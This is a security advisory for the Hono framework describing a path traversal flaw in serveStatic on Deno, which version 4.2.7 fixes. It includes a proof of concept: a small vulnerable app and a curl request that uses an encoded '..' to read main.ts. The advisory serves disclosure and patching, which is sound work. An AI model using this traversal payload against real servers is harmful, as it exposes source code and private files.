Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

Affected: npm: hono

### Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

### PoC

```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ```

source

```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono() app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch) ```

request

```bash curl localhost:8000/static/%2e%2e/main.ts ```

response is content of main.ts

### Impact

Unexpected files are retrieved.